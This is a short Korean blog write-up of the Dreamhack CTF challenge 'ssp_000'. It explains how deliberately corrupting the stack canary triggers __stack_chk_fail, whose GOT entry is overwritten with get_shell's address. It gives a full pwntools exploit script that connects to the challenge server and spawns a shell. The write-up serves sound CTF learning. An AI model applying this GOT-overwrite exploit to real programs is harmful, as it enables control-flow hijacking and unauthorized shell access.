상세 컨텐츠

본문 제목

[Dreamhack] ssp_000

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 10:50

본문

728x90
반응형

이 문제 생각 많이 했는데 카나리를 leak해서 return addressget_shell로 덮는 복잡한 방법이 아니라

카나리 변조 시 __stack_chk_fail 함수가 호출되는 것을 이용해서 카나리를 덮은 후 v4__stack_chk_fail got를 주고 v5get_shell 주소를 주면 종료 시 get_shell이 실행되어 쉘이 따진다.

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./ssp_000")
p = remote("host1.dreamhack.games", 8244)
elf = ELF("./ssp_000")
get_shell = elf.symbols['get_shell']

p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail']))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] basic_rop_x86  (0) 2020.05.31
[DreamHack] basic_rop_x64  (0) 2020.05.31
[DreamHack] oneshot  (2) 2020.05.31
[DreamHack] ssp_001  (0) 2020.05.31
[Dreamhack] rtld  (0) 2020.05.17

관련글 더보기